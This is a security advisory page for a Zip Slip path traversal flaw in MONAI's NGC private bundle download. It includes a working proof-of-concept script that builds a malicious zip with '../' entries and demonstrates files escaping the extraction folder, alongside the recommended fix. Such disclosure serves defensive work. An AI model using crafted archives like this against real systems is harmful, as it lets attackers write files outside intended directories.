CVE-2026-21851: MONAI has Path Traversal (Zip Slip) in NGC Private Bundle Download

Published Jan 6, 2026
·
Updated

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's downloadfromngcprivate() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safeextractmember() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

---

Details

Vulnerable Code Location

File: monai/bundle/scripts.py Lines: 291-292 Function: downloadfromngcprivate()

python monai/bundle/scripts.py - Lines 284-293 zippath = downloadpath / f"{filename}v{version}.zip" with open(zippath, "wb") as f: f.write(response.content) logger.info(f"Downloading: {zippath}.") if removeprefix: filename = removengcprefix(filename, prefix=removeprefix) extractpath = downloadpath / f"{filename}" with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) # <-- No path validation logger.info(f"Writing into directory: {extractpath}.")

Root Cause

The code calls z.extractall(extractpath) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

python def safeextractmember(member, extractto): """Securely verify compressed package member paths to prevent path traversal attacks""" # ... path validation logic ... if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): raise ValueError(f"Unsafe path detected in archive: {memberpath}") # Ensure path stays within extraction root if os.path.commonpath([extractroot, targetreal]) != extractroot: raise ValueError(f"Unsafe path: path traversal {memberpath}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | downloadfromgithub() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | downloadfrommonaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | downloadfrombundleinfo() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | downloadfromngcprivate() | scripts.py:292 | ❌ No (direct z.extractall()) |

---

PoC

Step 1: Create a Malicious Zip File

python #!/usr/bin/env python3 """Create malicious zip with path traversal entries""" import zipfile import io

def createmaliciouszip(outputpath="maliciousbundle.zip"): zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w', zipfile.ZIPDEFLATED) as zf: # Normal bundle file zf.writestr( "monaitestbundle/configs/metadata.json", '{"name": "testbundle", "version": "1.0.0"}' ) # Path traversal entry zf.writestr( "../../../tmp/escapedfile.txt", "This file was written outside the extraction directory.\n" ) with open(outputpath, 'wb') as f: f.write(zipbuffer.getvalue()) print(f"Created: {outputpath}") with zipfile.ZipFile(outputpath, 'r') as zf: print("Contents:") for name in zf.namelist(): print(f" - {name}")

if name == "main": createmaliciouszip()

Output: Created: maliciousbundle.zip Contents: - monaitestbundle/configs/metadata.json - ../../../tmp/escapedfile.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in downloadfromngcprivate) and the safe pattern (used elsewhere in MONAI):

python #!/usr/bin/env python3 """Compare vulnerable vs safe extraction""" import zipfile import tempfile import os

def vulnerableextraction(zippath, extractpath): """Pattern used in monai/bundle/scripts.py:291-292""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as z: z.extractall(extractpath) print("[VULNERABLE] Extraction completed without validation")

def safeextraction(zippath, extractpath): """Pattern used in monai/apps/utils.py""" os.makedirs(extractpath, existok=True) with zipfile.ZipFile(zippath, "r") as zf: for member in zf.infolist(): memberpath = os.path.normpath(member.filename) # Check for path traversal if os.path.isabs(memberpath) or ".." in memberpath.split(os.sep): print(f"[SAFE] BLOCKED: {member.filename}") continue print(f"[SAFE] Allowed: {member.filename}")

Run demo print("=" 50) print("VULNERABLE PATTERN (scripts.py:291-292)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: vulnerableextraction("maliciousbundle.zip", tmpdir) for root, dirs, files in os.walk(tmpdir): for f in files: relpath = os.path.relpath(os.path.join(root, f), tmpdir) print(f" Extracted: {relpath}")

print() print("=" 50) print("SAFE PATTERN (apps/utils.py)") print("=" 50) with tempfile.TemporaryDirectory() as tmpdir: safeextraction("maliciousbundle.zip", tmpdir)

Output: ================================================== VULNERABLE PATTERN (scripts.py:291-292) ================================================== [VULNERABLE] Extraction completed without validation Extracted: monaitestbundle/configs/metadata.json Extracted: tmp/escapedfile.txt

================================================== SAFE PATTERN (apps/utils.py) ================================================== [SAFE] Allowed: monaitestbundle/configs/metadata.json [SAFE] BLOCKED: ../../../tmp/escapedfile.txt

---

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository 2. Victim must configure MONAI to download from that repository 3. Victim must use source="ngcprivate" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on: - The permissions of the user running MONAI - The target location of the escaped files - Python version (newer versions have some built-in path normalization)

Mitigating Factors

- Requires attacker to control an NGC private repository - Modern Python versions (3.12+) have some built-in path normalization - The ngcprivate source is less commonly used than other sources

---

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

diff monai/bundle/scripts.py

+ from monai.apps.utils import extractzip

def downloadfromngcprivate(...): # ... existing code ... extractpath = downloadpath / f"{filename}" - with zipfile.ZipFile(zippath, "r") as z: - z.extractall(extractpath) - logger.info(f"Writing into directory: {extractpath}.") + extractzip(zippath, extractpath) + logger.info(f"Writing into directory: {extractpath}.")

This aligns downloadfromngcprivate() with the other download functions and ensures consistent security across all download sources.

---

Resources

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory - Snyk: Zip Slip Vulnerability - Python zipfile.extractall() Warning

Other sources

MONAI (Medical Open Network for AI) is an AI toolkit for health care imaging. In versions up to and including 1.5.1, a Path Traversal (Zip Slip) vulnerability exists in MONAI's downloadfromngcprivate() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safeextractmember() function. Commit 4014c8475626f20f158921ae0cf98ed259ae4d59 fixes this issue.

— MITRE

Affected Software

2 affected components
pip/monai<=1.5.1
Project-monai Monai<=1.5.1

Event History

Jan 6, 2026
Advisory Published
via GitHub·05:32 PM
Data Sourced
via GitHub·05:32 PM
DescriptionSeverityWeaknessAffected Software
Jan 7, 2026
CVE Published
via MITRE·10:27 PM
Data Sourced
via MITRE·10:27 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-21851?

CVE-2026-21851 has been classified as a high severity vulnerability.

2

How do I fix CVE-2026-21851?

To fix CVE-2026-21851, update the MONAI package to a version later than 1.5.1 where the vulnerability has been addressed.

3

What impact does CVE-2026-21851 have on my systems?

CVE-2026-21851 allows for potential path traversal attacks, which may lead to unauthorized file access on the server.

4

Is CVE-2026-21851 exploitable remotely?

Yes, CVE-2026-21851 can be exploited remotely if an attacker can craft malicious ZIP files.

5

What software versions are affected by CVE-2026-21851?

CVE-2026-21851 affects MONAI versions up to and including 1.5.1.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203